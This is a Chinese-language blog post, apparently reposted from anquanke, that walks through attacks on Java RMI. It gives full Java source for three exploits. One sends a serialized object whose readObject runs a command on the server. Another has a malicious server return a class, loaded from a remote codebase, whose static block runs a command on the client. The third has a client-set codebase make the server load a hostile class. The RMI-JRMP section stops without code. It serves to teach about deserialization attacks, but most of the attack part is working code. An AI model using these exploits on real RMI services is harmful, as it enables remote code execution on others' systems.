原文地址：https://www.anquanke.com/post/id/194384#h3-3
1.java rmi
关于rmi客户端和服务端通信的过程，java的方法都实现在rmi服务端，客户端实际上是通过访问rmi注册表拿到stub，然后再通过它调用服务端方法，那么调用方法时要传递参数，参数可以为一般类型，也可以为引用类型，那么如果为引用类型，就能够利用服务端已经有的gaget chain来打server，因为参数实际上是序列化传输的，那么数据到达服务端后必定会经过反序列化。
客户端：
RMIClient.java
package com.longofo.javarmi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
/**
* Java RMI恶意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 获取远程对象的引用 Services services = (Services) registry.lookup("Services"); PublicKnown malicious = new PublicKnown(); malicious.setParam("calc"); malicious.setMessage("haha"); // 使用远程对象的引用调用对应的方法 System.out.println(services.sendMessage(malicious)); } }
此时客户端要打服务端，因此要将恶意的对象作为参数传递到服务端，此时序列化的对象将在服务端反序列化
publicKnown.java
package com.longofo.javarmi;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class PublicKnown extends Message implements Serializable {
private static final long serialVersionUID = 7439581476576889858L; private String param; public void setParam(String param) { this.param = param; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.param); } }
此时要传递的恶意对象肯定要符合服务端参数类型的定义
服务端：
RMIServer.java
//RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject; public class RMIServer { /** * Java RMI 服务端 * * @param args */ public static void main(String[] args) { try { // 实例化服务端远程对象 ServicesImpl obj = new ServicesImpl(); // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { // 创建Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //绑定远程对象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
ServiceImpl.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public class ServicesImpl implements Services {
public ServicesImpl() throws RemoteException {
}
@Override
public Object sendMessage(Message msg) throws RemoteException {
return msg.getMessage(); } }
Service.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
Message.java
package com.longofo.javarmi;
import java.io.Serializable;
public class Message implements Serializable {
private static final long serialVersionUID = -6210579029160025375L;
private String msg;
public Message() { } public String getMessage() { System.out.println("Processing message: " + msg); return msg; } public void setMessage(String msg) { this.msg = msg; } }
所以这里服务端存在漏洞的即为ServicesImpl类，其存在一个方法其入口参数为Message对象，并且这里Message这个类是继承自Serializable，即可以进行反序列化。服务端通过bind()函数绑定远程对象到RMI注册表中，此时客户端即可以访问RMI注册表拿到stub，即可调用服务端的方法，比如sendMessage()函数
此时先启动RMIServer.java,然后再启动RMIClient.java，即可达到打rmi服务端的效果，这里jdk版本为1.6
在服务端的readObject处下断点，即可看到调用栈，经过ConnectHandler后就能够确定服务端要反序列化的类名
接下来就是通过反射调用PublicKnown类的readObject方法 ，进而到达readObject内部的命令执行代码段
所以这里客户端肯定要知道服务端有哪些可以调用的方法，以及服务端被调用的方法入口参数要满足要求，这里在现实情况中应该很少能够遇到，这里肯定只作为例子来学习。当然反序列化的类可以是本地的gadget，这个例子的测试没有jdk版本限制，在jdk1.8.202也可以成功，这些限制太大了。在这里实际上就是拿到ServicesImpl的引用，lookup函数查找的也一定是存在与rmi注册表中存在的对象并拿到引用，并不是直接拷贝了一份该类的对象到本地来，拿到引用之后再去调用该类的方法，传参到服务端，最后反序列化执行在服务端。
2.java rmi 动态加载类
2.1RMI服务端打客户端
java rmi动态加载类，其实就是通过指定codebase来制定远程的类仓库，我们知道java在运行过程中需要类的时候可以在本地加载，即在classpath中找，那么也可以通过codebase来指定远程库。默认是不允许远程加载的，如需加载则需要安装RMISecurityManager并且配置java.security.policy。并且需要java.rmi.server.useCodebaseOnly 的值必需为false，当然这也是受jdk版本限制的。
RMIClient.java
package com.longofo.javarmi;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient1 {
/**
* Java RMI恶意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception { //如果需要使用RMI的动态加载功能，需要开启RMISecurityManager，并配置policy以允许从远程加载类库 System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 获取远程对象的引用 Services services = (Services) registry.lookup("Services"); Message message = new Message(); message.setMessage("hahaha"); services.sendMessage(message); } }
此时RMI客户端正常操作，传入Message对象，并调用服务端sendMessage方法
ServiceImpl.java
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject;
import java.rmi.RemoteException;
public class ServicesImpl1 implements Services {
@Override
public ExportObject sendMessage(Message msg) throws RemoteException {
return new ExportObject(); } }
可以看到此时服务端实现Services接口的类的sendMessage方法返回值为ExportObject类型，即该类的实例
ExportObject.java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.longofo.remoteclass;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public ExportObject() { } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr; String lineStr; for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") { } inBr.close(); in.close(); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { return null; } static { try { exec("calc"); } catch (Exception var1) { var1.printStackTrace(); } } }
这里实际上服务端返回的即为该ExportObject类的实例，该类是实现了对象工厂类，并且可以序列化的，所以可以通过jrmp进行传输，我们只需要将其编译放在服务器端指定的codebase地址即可等待客户端来加载，当客户端远程加载该类时将会实例化该类，即调用该类的static代码段
RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject; public class RMIServer1 { public static void main(String[] args) { try { // 实例化服务端远程对象 ServicesImpl1 obj = new ServicesImpl1(); // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); //设置java.rmi.server.codebase System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry reg; try { // 创建Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //绑定远程对象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
此时RMIServer端指定了客户端codebase的地址，即客户端反序列化ExportObject时需要加载该类，此时将通过服务端提供的codebase来加载
此时先启动托管远程类的服务端，将ExportObject.class放在codebase指定的位置，这里要注意包名要和目录名相一致
然后启动RMI服务端，启动RMI客户端，即完成了客户端要调用sendMessage方法，此时服务端返回了ExportObject对象，客户端发现返回的是ExportObject对象后，那将在本地的classpath中没找到该类，则通过服务端指定的codebase来加载该类，加载该类的后将实例化该类，从而触发calc
此时托管class的http服务端也收到了加载class文件的请求
这种方法相对于第一种来说打客户端只需要拿到RMI中对象的引用，调用服务器上的方法即可，这里服务器是攻击者控制的，只需要在方法中返回恶意对象即可，当然如前面所说，这里是需要securitManager和
useCodebaseOnly为false以及jdk限制的，这里是服务端指定javacodebase的。
2.2RMI客户端打服务端
RMIClient.java
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject1;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient2 {
public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999); // 获取远程对象的引用 Services services = (Services) registry.lookup("Services"); ExportObject1 exportObject1 = new ExportObject1(); exportObject1.setMessage("hahaha"); services.sendMessage(exportObject1); } }
上面RMI客户端打RMI服务端是服务端来指定codebase地址供客户端参考，客户端来加载codebase地址的class文件，那么从上面这段代码可以看到此时是客户端指定了codebase地址，那么当然服务端就得从客户端指定的codebase来加载class了,可以看到此时客户端调用服务端的sendMessage函数传递的是ExportObject1对象
ExportObject1.java
package com.longofo.remoteclass;
import com.longofo.javarmi.Message;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable; import java.util.Hashtable; public class ExportObject1 extends Message implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { return null; } }
此时该类继承自Message类，实现对象工厂接口，并且支持序列化
ServiceImpl.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public class ServicesImpl implements Services {
public ServicesImpl() throws RemoteException {
}
@Override
public Object sendMessage(Message msg) throws RemoteException {
return msg.getMessage(); } }
RMIServer.java
//RMIServer2.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer2 { /** * Java RMI 服务端 * * @param args */ public static void main(String[] args) { try { // 实例化服务端远程对象 ServicesImpl obj = new ServicesImpl(); // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { //如果需要使用RMI的动态加载功能，需要开启RMISecurityManager，并配置policy以允许从远程加载类库 System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); // 创建Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //绑定远程对象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
可以由以上代码看到，此时RMI服务端绑定的services接口对应的ServicesImpl.java中sendMessage函数将会调用入口参数Message类型对象的getmessage函数，这里方法体内容是什么并不重要，因为这种打法和第一节中的打法一样，都是打RMI服务端，区别是第一节是利用RMI服务端本地的gaget chain，而这里则是利用远程类加载，通过客户端指定的codebase来打RMI服务端。
所以此时codebase的地址也将受到请求ExportObject1.class的请求，因为服务端发现穿送过来的ExportObject1类classpath里面没有，所有就会通过客户端指定的codebase加载，从而实例化该恶意ExportObject1类，执行static代码块的命令
所以上面两个例子，客户端打RMI服务端，以及RMI服务端打客户端都是利用RMI的调用过程：
1.客户端打RMI服务端，客户端调用服务端方法，此时传给服务端的的参数可控则可能存在风险(这种条件挺难满足)
2.RMI打客户端，RMI服务端返回给客户端的结果是服务端可控的，则该结果则可能存在风险(lookup可控，并且恶意RMI服务端也要自己实现)
和以前分析其他漏洞时的逻辑还是比较相似的，可控即可能存在风险
关于客户端和服务端互打里面，因为要传递序列化的对象，序列化的过程中要知道serialVersionUID，要传递的反序列化的对象的包名，类名必须要与服务端一致，这里serialVersionID在https://www.freebuf.com/vuls/126499.html这篇文章中说第一次不传递id参数服务端将会返回id值，但是我本地测jdk1.6.01这里客户端不加id值，也能够打成功。
RMI-JRMP
上面说的RMI通信过程中假设客户端在与RMI服务端通信中，虽然也是在JRMP协议上进行通信，尝试传输序列化的恶意对象到服务端，此时服务端若也返回客户端一个恶意序列化的对象，那么客户端也可能被攻击，利用JRMP就可以利用socket进行通信，客户端直接利用JRMP协议发送数据，而不用接受服务端的返回，因此这种攻击方式也更加安全。
比如服务端此时启用RMI服务：
jdk1.7.0_25
如有错误，务必请指出。